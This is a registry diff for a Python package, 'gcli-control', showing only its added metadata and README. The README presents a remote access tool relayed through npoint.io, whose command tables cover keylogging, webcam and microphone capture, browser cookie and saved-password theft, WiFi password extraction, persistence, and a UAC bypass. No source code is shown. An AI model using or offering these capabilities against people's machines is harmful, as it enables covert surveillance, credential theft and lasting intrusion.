gcli-control 0.4.0__tar.gz → 0.6.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gcli_control-0.6.0/PKG-INFO +327 -0
- gcli_control-0.6.0/README.md +298 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/__init__.py +1 -1
- gcli_control-0.6.0/gcli/audio.py +651 -0
- gcli_control-0.6.0/gcli/browser.py +863 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/client.py +243 -0
- gcli_control-0.6.0/gcli/elevator.py +630 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/host.py +84 -1
- gcli_control-0.6.0/gcli/keylog.py +679 -0
- gcli_control-0.6.0/gcli/network_config.py +694 -0
- gcli_control-0.6.0/gcli/persistence.py +744 -0
- gcli_control-0.6.0/gcli/registry.py +510 -0
- gcli_control-0.6.0/gcli/webcam.py +476 -0
- gcli_control-0.6.0/gcli/wifi.py +696 -0
- gcli_control-0.6.0/gcli_control.egg-info/PKG-INFO +327 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli_control.egg-info/SOURCES.txt +9 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/pyproject.toml +2 -2
- gcli_control-0.4.0/PKG-INFO +0 -143
- gcli_control-0.4.0/README.md +0 -114
- gcli_control-0.4.0/gcli_control.egg-info/PKG-INFO +0 -143
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/__main__.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/aliases.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/automation.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/clipboard.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/colors.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/crypto.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/fileops.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/forensics.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/monitoring.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/netutils.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/npoint.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/output.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/processes.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/protocol.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/security.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/session.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/system.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/transfer.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli/utils.py +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli_control.egg-info/dependency_links.txt +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli_control.egg-info/entry_points.txt +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli_control.egg-info/requires.txt +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/gcli_control.egg-info/top_level.txt +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/setup.cfg +0 -0
- {gcli_control-0.4.0 → gcli_control-0.6.0}/tests/test_integration.py +0 -0
|
@@ -0,0 +1,327 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: gcli-control
|
|
3
|
+
Version: 0.6.0
|
|
4
|
+
Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 120+ commands
|
|
5
|
+
Author: gcli contributors
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/gcli-control/gcli
|
|
8
|
+
Project-URL: Repository, https://github.com/gcli-control/gcli
|
|
9
|
+
Project-URL: Issues, https://github.com/gcli-control/gcli/issues
|
|
10
|
+
Keywords: remote-access,npoint,encrypted,ssh,aes256
|
|
11
|
+
Classifier: Development Status :: 4 - Beta
|
|
12
|
+
Classifier: Intended Audience :: Developers
|
|
13
|
+
Classifier: Intended Audience :: System Administrators
|
|
14
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
15
|
+
Classifier: Operating System :: POSIX :: Linux
|
|
16
|
+
Classifier: Operating System :: MacOS
|
|
17
|
+
Classifier: Programming Language :: Python :: 3
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
24
|
+
Classifier: Topic :: System :: Systems Administration
|
|
25
|
+
Classifier: Topic :: Security :: Cryptography
|
|
26
|
+
Requires-Python: >=3.8
|
|
27
|
+
Description-Content-Type: text/markdown
|
|
28
|
+
Requires-Dist: cryptography>=41.0
|
|
29
|
+
|
|
30
|
+
# gcli — Remote Access Tool via npoint.io
|
|
31
|
+
|
|
32
|
+
Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
|
|
33
|
+
|
|
34
|
+
```
|
|
35
|
+
┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
|
|
36
|
+
│ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
|
|
37
|
+
│ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
|
|
38
|
+
└──────────┘ results └─────────────┘ results └──────────┘
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## Install
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
pip install gcli-control
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## Quick Start
|
|
48
|
+
|
|
49
|
+
**Host (remote machine):**
|
|
50
|
+
```bash
|
|
51
|
+
gcli host --password MySecret123
|
|
52
|
+
gcli host --password MySecret123 --foreground # debug mode
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**Client (your machine):**
|
|
56
|
+
```bash
|
|
57
|
+
gcli ssh --password MySecret123
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
**Stop host:**
|
|
61
|
+
```bash
|
|
62
|
+
gcli stop
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
## Security
|
|
66
|
+
|
|
67
|
+
- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
|
|
68
|
+
- zlib compression before encryption (60-80% payload reduction)
|
|
69
|
+
- PBKDF2 key caching (~150ms saved per operation)
|
|
70
|
+
- Password never leaves your machine — only encrypted payloads
|
|
71
|
+
- Built-in tamper detection (GCM authentication tag)
|
|
72
|
+
- Persistent HTTPS connection reuse (reduced TLS handshake overhead)
|
|
73
|
+
|
|
74
|
+
## Command Reference
|
|
75
|
+
|
|
76
|
+
### Core Commands
|
|
77
|
+
|
|
78
|
+
| Command | Description |
|
|
79
|
+
|---------|-------------|
|
|
80
|
+
| Any text | Execute shell command on remote host |
|
|
81
|
+
| `:help` | Show available commands |
|
|
82
|
+
| `:info` | Remote system info (hostname, OS, user, IP) |
|
|
83
|
+
| `:ping` | Ping remote host (show latency) |
|
|
84
|
+
| `:upload <local> <remote>` | Upload file to remote host |
|
|
85
|
+
| `:download <remote> <local>` | Download file from remote host |
|
|
86
|
+
| `:timeout <seconds>` | Set exec timeout |
|
|
87
|
+
| `:history` | Command history |
|
|
88
|
+
|
|
89
|
+
### File Operations
|
|
90
|
+
|
|
91
|
+
| Command | Description |
|
|
92
|
+
|---------|-------------|
|
|
93
|
+
| `:ls [path]` | List directory |
|
|
94
|
+
| `:tree [path] [depth]` | Directory tree |
|
|
95
|
+
| `:mkdir <path>` | Create directory |
|
|
96
|
+
| `:rm <path>` | Delete file |
|
|
97
|
+
| `:find <pattern>` | Find files by glob |
|
|
98
|
+
| `:stat <path>` | File info |
|
|
99
|
+
|
|
100
|
+
### Process & Monitoring
|
|
101
|
+
|
|
102
|
+
| Command | Description |
|
|
103
|
+
|---------|-------------|
|
|
104
|
+
| `:ps [limit]` | List processes |
|
|
105
|
+
| `:kill <pid>` | Kill process |
|
|
106
|
+
| `:uptime` | Remote uptime |
|
|
107
|
+
| `:cpu` | CPU usage |
|
|
108
|
+
| `:mem` | Memory usage |
|
|
109
|
+
| `:disk [path]` | Disk usage |
|
|
110
|
+
| `:top [limit]` | Top processes by CPU |
|
|
111
|
+
|
|
112
|
+
### Clipboard & Network
|
|
113
|
+
|
|
114
|
+
| Command | Description |
|
|
115
|
+
|---------|-------------|
|
|
116
|
+
| `:clipget` | Get remote clipboard |
|
|
117
|
+
| `:clipset <text>` | Set remote clipboard |
|
|
118
|
+
| `:clipclear` | Clear clipboard |
|
|
119
|
+
| `:dns <host>` | DNS lookup |
|
|
120
|
+
| `:portcheck <host> <port>` | Check port |
|
|
121
|
+
|
|
122
|
+
### Aliases & Scripts
|
|
123
|
+
|
|
124
|
+
| Command | Description |
|
|
125
|
+
|---------|-------------|
|
|
126
|
+
| `:alias <n> <cmd>` | Create alias |
|
|
127
|
+
| `:aliases` | List aliases |
|
|
128
|
+
| `:script <c1; c2>` | Run script (semicolons) |
|
|
129
|
+
|
|
130
|
+
### Security
|
|
131
|
+
|
|
132
|
+
| Command | Description |
|
|
133
|
+
|---------|-------------|
|
|
134
|
+
| `:audit` | View audit log |
|
|
135
|
+
| `:threat <cmd>` | Check threat level |
|
|
136
|
+
| `:lock` | Lock session |
|
|
137
|
+
| `:unlock` | Unlock session |
|
|
138
|
+
|
|
139
|
+
### Advanced System
|
|
140
|
+
|
|
141
|
+
| Command | Description |
|
|
142
|
+
|---------|-------------|
|
|
143
|
+
| `:netstat` | Active network connections |
|
|
144
|
+
| `:services [list\|start\|stop] <name>` | Manage services |
|
|
145
|
+
| `:screenshot` | Capture remote screen |
|
|
146
|
+
| `:history [n]` | Remote shell history |
|
|
147
|
+
| `:envset <K> <V>` | Set env variable on host |
|
|
148
|
+
| `:grep <pattern> [path] [ext]` | Search files |
|
|
149
|
+
| `:partitions` | Disk partitions |
|
|
150
|
+
| `:whoami` | Remote user info |
|
|
151
|
+
|
|
152
|
+
### Automation
|
|
153
|
+
|
|
154
|
+
| Command | Description |
|
|
155
|
+
|---------|-------------|
|
|
156
|
+
| `:bulk <c1; c2>` | Bulk execute commands |
|
|
157
|
+
| `:repeat <cmd> <n>` | Repeat command N times |
|
|
158
|
+
| `:cron` | List scheduled tasks |
|
|
159
|
+
| `:cron add <name> <cmd>` | Add scheduled task |
|
|
160
|
+
| `:cron rm <name>` | Remove scheduled task |
|
|
161
|
+
| `:snapshot` | Full env snapshot |
|
|
162
|
+
| `:waitport <host> <port>` | Wait for port to open |
|
|
163
|
+
|
|
164
|
+
### Forensics
|
|
165
|
+
|
|
166
|
+
| Command | Description |
|
|
167
|
+
|---------|-------------|
|
|
168
|
+
| `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
|
|
169
|
+
| `:integrity <create\|verify> [path]` | File integrity baseline |
|
|
170
|
+
| `:recent [hours]` | Recently modified files |
|
|
171
|
+
| `:portprocess <port>` | Find process by port |
|
|
172
|
+
| `:usb` | List USB devices |
|
|
173
|
+
| `:suspicious` | Flag suspicious processes |
|
|
174
|
+
| `:openfiles <pid>` | List open files for process |
|
|
175
|
+
| `:envaudit` | Audit env for secrets |
|
|
176
|
+
| `:startup` | List startup programs |
|
|
177
|
+
|
|
178
|
+
### Transfer
|
|
179
|
+
|
|
180
|
+
| Command | Description |
|
|
181
|
+
|---------|-------------|
|
|
182
|
+
| `:verify <path> <sha256>` | Verify file integrity |
|
|
183
|
+
| `:diff <a> <b>` | Diff two files |
|
|
184
|
+
| `:split <path> [size]` | Split file into pieces |
|
|
185
|
+
| `:merge <pattern> <out>` | Merge split files |
|
|
186
|
+
|
|
187
|
+
### Webcam & Audio
|
|
188
|
+
|
|
189
|
+
| Command | Description |
|
|
190
|
+
|---------|-------------|
|
|
191
|
+
| `:camlist` | List cameras |
|
|
192
|
+
| `:camcapture [id]` | Capture photo |
|
|
193
|
+
| `:camrecord [id] [sec]` | Record video |
|
|
194
|
+
| `:caminfo [id]` | Camera info |
|
|
195
|
+
| `:audiodevices` | List microphones |
|
|
196
|
+
| `:audiorecord [sec] [dev]` | Record audio |
|
|
197
|
+
| `:audioinfo` | Audio system info |
|
|
198
|
+
| `:audiolevel` | Current mic level |
|
|
199
|
+
|
|
200
|
+
### Keylogger
|
|
201
|
+
|
|
202
|
+
| Command | Description |
|
|
203
|
+
|---------|-------------|
|
|
204
|
+
| `:keylogstart` | Start key capture |
|
|
205
|
+
| `:keylogstop` | Stop key capture |
|
|
206
|
+
| `:keylogread [n]` | Read captured keys |
|
|
207
|
+
| `:keylogstatus` | Keylogger status |
|
|
208
|
+
| `:keylogsave [path]` | Save keys to file |
|
|
209
|
+
|
|
210
|
+
### Persistence
|
|
211
|
+
|
|
212
|
+
| Command | Description |
|
|
213
|
+
|---------|-------------|
|
|
214
|
+
| `:persist` | Full persistence status |
|
|
215
|
+
| `:persist install [method]` | Install startup |
|
|
216
|
+
| `:persist remove` | Remove startup |
|
|
217
|
+
| `:persist list` | List persistence |
|
|
218
|
+
| `:persist schedule` | Install scheduled task |
|
|
219
|
+
| `:persist unschedule` | Remove scheduled task |
|
|
220
|
+
| `:persist watchdog` | Install watchdog |
|
|
221
|
+
| `:persist unwatchdog` | Remove watchdog |
|
|
222
|
+
|
|
223
|
+
### Browser Data
|
|
224
|
+
|
|
225
|
+
| Command | Description |
|
|
226
|
+
|---------|-------------|
|
|
227
|
+
| `:browsers` | List detected browsers |
|
|
228
|
+
| `:bhistory [browser] [n]` | Browser history |
|
|
229
|
+
| `:bcookies [browser]` | Browser cookies |
|
|
230
|
+
| `:bbookmarks [browser]` | Browser bookmarks |
|
|
231
|
+
| `:bdownloads [browser]` | Download history |
|
|
232
|
+
| `:bpasswords [browser]` | Saved passwords |
|
|
233
|
+
|
|
234
|
+
### WiFi
|
|
235
|
+
|
|
236
|
+
| Command | Description |
|
|
237
|
+
|---------|-------------|
|
|
238
|
+
| `:wifistatus` | WiFi connection status |
|
|
239
|
+
| `:wifiscan` | Scan nearby networks |
|
|
240
|
+
| `:wifilist` | Saved WiFi profiles |
|
|
241
|
+
| `:wificonnect <ssid> [pw]` | Connect to WiFi |
|
|
242
|
+
| `:wifidisconnect` | Disconnect WiFi |
|
|
243
|
+
| `:wifipassword <ssid>` | Show saved password |
|
|
244
|
+
| `:wififorget <ssid>` | Remove saved profile |
|
|
245
|
+
|
|
246
|
+
### Privilege & Elevation
|
|
247
|
+
|
|
248
|
+
| Command | Description |
|
|
249
|
+
|---------|-------------|
|
|
250
|
+
| `:checkadmin` | Check admin/root status |
|
|
251
|
+
| `:elevate` | Attempt UAC bypass (Windows) |
|
|
252
|
+
| `:sudo <cmd>` | Run command as root |
|
|
253
|
+
| `:sysinfo` | Detailed system info |
|
|
254
|
+
|
|
255
|
+
### Network Config
|
|
256
|
+
|
|
257
|
+
| Command | Description |
|
|
258
|
+
|---------|-------------|
|
|
259
|
+
| `:interfaces` | List network interfaces |
|
|
260
|
+
| `:dns <iface> <servers>` | Set DNS servers |
|
|
261
|
+
| `:proxy <h> <p> \| off` | Set/clear proxy |
|
|
262
|
+
| `:firewall` | Firewall status |
|
|
263
|
+
| `:fwallow <port> [name]` | Allow port in firewall |
|
|
264
|
+
| `:arp` | ARP table |
|
|
265
|
+
| `:hosts <ip> <host>` | Add hosts file entry |
|
|
266
|
+
|
|
267
|
+
### Registry (Windows)
|
|
268
|
+
|
|
269
|
+
| Command | Description |
|
|
270
|
+
|---------|-------------|
|
|
271
|
+
| `:reglist <key>` | List values in key |
|
|
272
|
+
| `:regread <key> [val]` | Read registry value |
|
|
273
|
+
| `:regwrite <key> <n> <v>` | Write value |
|
|
274
|
+
| `:regdelete <key> <val>` | Delete value |
|
|
275
|
+
| `:regsubkeys <key>` | List subkeys |
|
|
276
|
+
| `:regsearch <query>` | Search registry |
|
|
277
|
+
|
|
278
|
+
## Architecture
|
|
279
|
+
|
|
280
|
+
```
|
|
281
|
+
gcli/
|
|
282
|
+
├── __main__.py # CLI entry point
|
|
283
|
+
├── __init__.py
|
|
284
|
+
├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
|
|
285
|
+
├── npoint.py # npoint.io API (persistent HTTPS connection pool)
|
|
286
|
+
├── protocol.py # Document structure, race-condition safe append
|
|
287
|
+
├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
|
|
288
|
+
├── client.py # SSH REPL with 100+ commands
|
|
289
|
+
├── utils.py # PID management, detach, system_info
|
|
290
|
+
├── colors.py # Cross-platform ANSI colors
|
|
291
|
+
├── session.py # Handshake, heartbeat, key rotation
|
|
292
|
+
├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
|
|
293
|
+
├── processes.py # ps, kill, process_info, env, uptime, network_info
|
|
294
|
+
├── clipboard.py # Clipboard sync
|
|
295
|
+
├── netutils.py # HTTP, DNS, port check, traceroute, speed test
|
|
296
|
+
├── aliases.py # Command aliases & scripting
|
|
297
|
+
├── security.py # Rate limiting, audit log, threat detection
|
|
298
|
+
├── output.py # Pagination, syntax highlighting, diff format
|
|
299
|
+
├── monitoring.py # CPU, memory, disk, processes, temperature
|
|
300
|
+
├── system.py # Netstat, services, screenshot, shell history, grep
|
|
301
|
+
├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
|
|
302
|
+
├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
|
|
303
|
+
├── transfer.py # Chunked file transfer, checksum, diff, split/merge
|
|
304
|
+
├── webcam.py # Camera capture & recording
|
|
305
|
+
├── audio.py # Microphone recording & levels
|
|
306
|
+
├── keylog.py # Keystroke capture
|
|
307
|
+
├── persistence.py # Startup, scheduled tasks, watchdog
|
|
308
|
+
├── browser.py # Browser history, cookies, bookmarks, passwords
|
|
309
|
+
├── wifi.py # WiFi management (scan, connect, profiles)
|
|
310
|
+
├── elevator.py # Privilege escalation (UAC bypass, sudo)
|
|
311
|
+
├── network_config.py # DNS, proxy, firewall, ARP, hosts
|
|
312
|
+
└── registry.py # Windows registry operations
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
## Requirements
|
|
316
|
+
|
|
317
|
+
- Python 3.8+
|
|
318
|
+
- `cryptography` package (required)
|
|
319
|
+
- `psutil` (optional — better process/system monitoring)
|
|
320
|
+
- `sounddevice` (optional — audio recording)
|
|
321
|
+
- `opencv-python` (optional — webcam capture)
|
|
322
|
+
- `pynput` (optional — keylogging on Linux/macOS)
|
|
323
|
+
- Internet connection (for npoint.io)
|
|
324
|
+
|
|
325
|
+
## License
|
|
326
|
+
|
|
327
|
+
MIT
|
|
@@ -0,0 +1,298 @@
|
|
|
1
|
+
# gcli — Remote Access Tool via npoint.io
|
|
2
|
+
|
|
3
|
+
Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
|
|
4
|
+
|
|
5
|
+
```
|
|
6
|
+
┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
|
|
7
|
+
│ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
|
|
8
|
+
│ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
|
|
9
|
+
└──────────┘ results └─────────────┘ results └──────────┘
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Install
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
pip install gcli-control
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
## Quick Start
|
|
19
|
+
|
|
20
|
+
**Host (remote machine):**
|
|
21
|
+
```bash
|
|
22
|
+
gcli host --password MySecret123
|
|
23
|
+
gcli host --password MySecret123 --foreground # debug mode
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
**Client (your machine):**
|
|
27
|
+
```bash
|
|
28
|
+
gcli ssh --password MySecret123
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
**Stop host:**
|
|
32
|
+
```bash
|
|
33
|
+
gcli stop
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## Security
|
|
37
|
+
|
|
38
|
+
- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
|
|
39
|
+
- zlib compression before encryption (60-80% payload reduction)
|
|
40
|
+
- PBKDF2 key caching (~150ms saved per operation)
|
|
41
|
+
- Password never leaves your machine — only encrypted payloads
|
|
42
|
+
- Built-in tamper detection (GCM authentication tag)
|
|
43
|
+
- Persistent HTTPS connection reuse (reduced TLS handshake overhead)
|
|
44
|
+
|
|
45
|
+
## Command Reference
|
|
46
|
+
|
|
47
|
+
### Core Commands
|
|
48
|
+
|
|
49
|
+
| Command | Description |
|
|
50
|
+
|---------|-------------|
|
|
51
|
+
| Any text | Execute shell command on remote host |
|
|
52
|
+
| `:help` | Show available commands |
|
|
53
|
+
| `:info` | Remote system info (hostname, OS, user, IP) |
|
|
54
|
+
| `:ping` | Ping remote host (show latency) |
|
|
55
|
+
| `:upload <local> <remote>` | Upload file to remote host |
|
|
56
|
+
| `:download <remote> <local>` | Download file from remote host |
|
|
57
|
+
| `:timeout <seconds>` | Set exec timeout |
|
|
58
|
+
| `:history` | Command history |
|
|
59
|
+
|
|
60
|
+
### File Operations
|
|
61
|
+
|
|
62
|
+
| Command | Description |
|
|
63
|
+
|---------|-------------|
|
|
64
|
+
| `:ls [path]` | List directory |
|
|
65
|
+
| `:tree [path] [depth]` | Directory tree |
|
|
66
|
+
| `:mkdir <path>` | Create directory |
|
|
67
|
+
| `:rm <path>` | Delete file |
|
|
68
|
+
| `:find <pattern>` | Find files by glob |
|
|
69
|
+
| `:stat <path>` | File info |
|
|
70
|
+
|
|
71
|
+
### Process & Monitoring
|
|
72
|
+
|
|
73
|
+
| Command | Description |
|
|
74
|
+
|---------|-------------|
|
|
75
|
+
| `:ps [limit]` | List processes |
|
|
76
|
+
| `:kill <pid>` | Kill process |
|
|
77
|
+
| `:uptime` | Remote uptime |
|
|
78
|
+
| `:cpu` | CPU usage |
|
|
79
|
+
| `:mem` | Memory usage |
|
|
80
|
+
| `:disk [path]` | Disk usage |
|
|
81
|
+
| `:top [limit]` | Top processes by CPU |
|
|
82
|
+
|
|
83
|
+
### Clipboard & Network
|
|
84
|
+
|
|
85
|
+
| Command | Description |
|
|
86
|
+
|---------|-------------|
|
|
87
|
+
| `:clipget` | Get remote clipboard |
|
|
88
|
+
| `:clipset <text>` | Set remote clipboard |
|
|
89
|
+
| `:clipclear` | Clear clipboard |
|
|
90
|
+
| `:dns <host>` | DNS lookup |
|
|
91
|
+
| `:portcheck <host> <port>` | Check port |
|
|
92
|
+
|
|
93
|
+
### Aliases & Scripts
|
|
94
|
+
|
|
95
|
+
| Command | Description |
|
|
96
|
+
|---------|-------------|
|
|
97
|
+
| `:alias <n> <cmd>` | Create alias |
|
|
98
|
+
| `:aliases` | List aliases |
|
|
99
|
+
| `:script <c1; c2>` | Run script (semicolons) |
|
|
100
|
+
|
|
101
|
+
### Security
|
|
102
|
+
|
|
103
|
+
| Command | Description |
|
|
104
|
+
|---------|-------------|
|
|
105
|
+
| `:audit` | View audit log |
|
|
106
|
+
| `:threat <cmd>` | Check threat level |
|
|
107
|
+
| `:lock` | Lock session |
|
|
108
|
+
| `:unlock` | Unlock session |
|
|
109
|
+
|
|
110
|
+
### Advanced System
|
|
111
|
+
|
|
112
|
+
| Command | Description |
|
|
113
|
+
|---------|-------------|
|
|
114
|
+
| `:netstat` | Active network connections |
|
|
115
|
+
| `:services [list\|start\|stop] <name>` | Manage services |
|
|
116
|
+
| `:screenshot` | Capture remote screen |
|
|
117
|
+
| `:history [n]` | Remote shell history |
|
|
118
|
+
| `:envset <K> <V>` | Set env variable on host |
|
|
119
|
+
| `:grep <pattern> [path] [ext]` | Search files |
|
|
120
|
+
| `:partitions` | Disk partitions |
|
|
121
|
+
| `:whoami` | Remote user info |
|
|
122
|
+
|
|
123
|
+
### Automation
|
|
124
|
+
|
|
125
|
+
| Command | Description |
|
|
126
|
+
|---------|-------------|
|
|
127
|
+
| `:bulk <c1; c2>` | Bulk execute commands |
|
|
128
|
+
| `:repeat <cmd> <n>` | Repeat command N times |
|
|
129
|
+
| `:cron` | List scheduled tasks |
|
|
130
|
+
| `:cron add <name> <cmd>` | Add scheduled task |
|
|
131
|
+
| `:cron rm <name>` | Remove scheduled task |
|
|
132
|
+
| `:snapshot` | Full env snapshot |
|
|
133
|
+
| `:waitport <host> <port>` | Wait for port to open |
|
|
134
|
+
|
|
135
|
+
### Forensics
|
|
136
|
+
|
|
137
|
+
| Command | Description |
|
|
138
|
+
|---------|-------------|
|
|
139
|
+
| `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
|
|
140
|
+
| `:integrity <create\|verify> [path]` | File integrity baseline |
|
|
141
|
+
| `:recent [hours]` | Recently modified files |
|
|
142
|
+
| `:portprocess <port>` | Find process by port |
|
|
143
|
+
| `:usb` | List USB devices |
|
|
144
|
+
| `:suspicious` | Flag suspicious processes |
|
|
145
|
+
| `:openfiles <pid>` | List open files for process |
|
|
146
|
+
| `:envaudit` | Audit env for secrets |
|
|
147
|
+
| `:startup` | List startup programs |
|
|
148
|
+
|
|
149
|
+
### Transfer
|
|
150
|
+
|
|
151
|
+
| Command | Description |
|
|
152
|
+
|---------|-------------|
|
|
153
|
+
| `:verify <path> <sha256>` | Verify file integrity |
|
|
154
|
+
| `:diff <a> <b>` | Diff two files |
|
|
155
|
+
| `:split <path> [size]` | Split file into pieces |
|
|
156
|
+
| `:merge <pattern> <out>` | Merge split files |
|
|
157
|
+
|
|
158
|
+
### Webcam & Audio
|
|
159
|
+
|
|
160
|
+
| Command | Description |
|
|
161
|
+
|---------|-------------|
|
|
162
|
+
| `:camlist` | List cameras |
|
|
163
|
+
| `:camcapture [id]` | Capture photo |
|
|
164
|
+
| `:camrecord [id] [sec]` | Record video |
|
|
165
|
+
| `:caminfo [id]` | Camera info |
|
|
166
|
+
| `:audiodevices` | List microphones |
|
|
167
|
+
| `:audiorecord [sec] [dev]` | Record audio |
|
|
168
|
+
| `:audioinfo` | Audio system info |
|
|
169
|
+
| `:audiolevel` | Current mic level |
|
|
170
|
+
|
|
171
|
+
### Keylogger
|
|
172
|
+
|
|
173
|
+
| Command | Description |
|
|
174
|
+
|---------|-------------|
|
|
175
|
+
| `:keylogstart` | Start key capture |
|
|
176
|
+
| `:keylogstop` | Stop key capture |
|
|
177
|
+
| `:keylogread [n]` | Read captured keys |
|
|
178
|
+
| `:keylogstatus` | Keylogger status |
|
|
179
|
+
| `:keylogsave [path]` | Save keys to file |
|
|
180
|
+
|
|
181
|
+
### Persistence
|
|
182
|
+
|
|
183
|
+
| Command | Description |
|
|
184
|
+
|---------|-------------|
|
|
185
|
+
| `:persist` | Full persistence status |
|
|
186
|
+
| `:persist install [method]` | Install startup |
|
|
187
|
+
| `:persist remove` | Remove startup |
|
|
188
|
+
| `:persist list` | List persistence |
|
|
189
|
+
| `:persist schedule` | Install scheduled task |
|
|
190
|
+
| `:persist unschedule` | Remove scheduled task |
|
|
191
|
+
| `:persist watchdog` | Install watchdog |
|
|
192
|
+
| `:persist unwatchdog` | Remove watchdog |
|
|
193
|
+
|
|
194
|
+
### Browser Data
|
|
195
|
+
|
|
196
|
+
| Command | Description |
|
|
197
|
+
|---------|-------------|
|
|
198
|
+
| `:browsers` | List detected browsers |
|
|
199
|
+
| `:bhistory [browser] [n]` | Browser history |
|
|
200
|
+
| `:bcookies [browser]` | Browser cookies |
|
|
201
|
+
| `:bbookmarks [browser]` | Browser bookmarks |
|
|
202
|
+
| `:bdownloads [browser]` | Download history |
|
|
203
|
+
| `:bpasswords [browser]` | Saved passwords |
|
|
204
|
+
|
|
205
|
+
### WiFi
|
|
206
|
+
|
|
207
|
+
| Command | Description |
|
|
208
|
+
|---------|-------------|
|
|
209
|
+
| `:wifistatus` | WiFi connection status |
|
|
210
|
+
| `:wifiscan` | Scan nearby networks |
|
|
211
|
+
| `:wifilist` | Saved WiFi profiles |
|
|
212
|
+
| `:wificonnect <ssid> [pw]` | Connect to WiFi |
|
|
213
|
+
| `:wifidisconnect` | Disconnect WiFi |
|
|
214
|
+
| `:wifipassword <ssid>` | Show saved password |
|
|
215
|
+
| `:wififorget <ssid>` | Remove saved profile |
|
|
216
|
+
|
|
217
|
+
### Privilege & Elevation
|
|
218
|
+
|
|
219
|
+
| Command | Description |
|
|
220
|
+
|---------|-------------|
|
|
221
|
+
| `:checkadmin` | Check admin/root status |
|
|
222
|
+
| `:elevate` | Attempt UAC bypass (Windows) |
|
|
223
|
+
| `:sudo <cmd>` | Run command as root |
|
|
224
|
+
| `:sysinfo` | Detailed system info |
|
|
225
|
+
|
|
226
|
+
### Network Config
|
|
227
|
+
|
|
228
|
+
| Command | Description |
|
|
229
|
+
|---------|-------------|
|
|
230
|
+
| `:interfaces` | List network interfaces |
|
|
231
|
+
| `:dns <iface> <servers>` | Set DNS servers |
|
|
232
|
+
| `:proxy <h> <p> \| off` | Set/clear proxy |
|
|
233
|
+
| `:firewall` | Firewall status |
|
|
234
|
+
| `:fwallow <port> [name]` | Allow port in firewall |
|
|
235
|
+
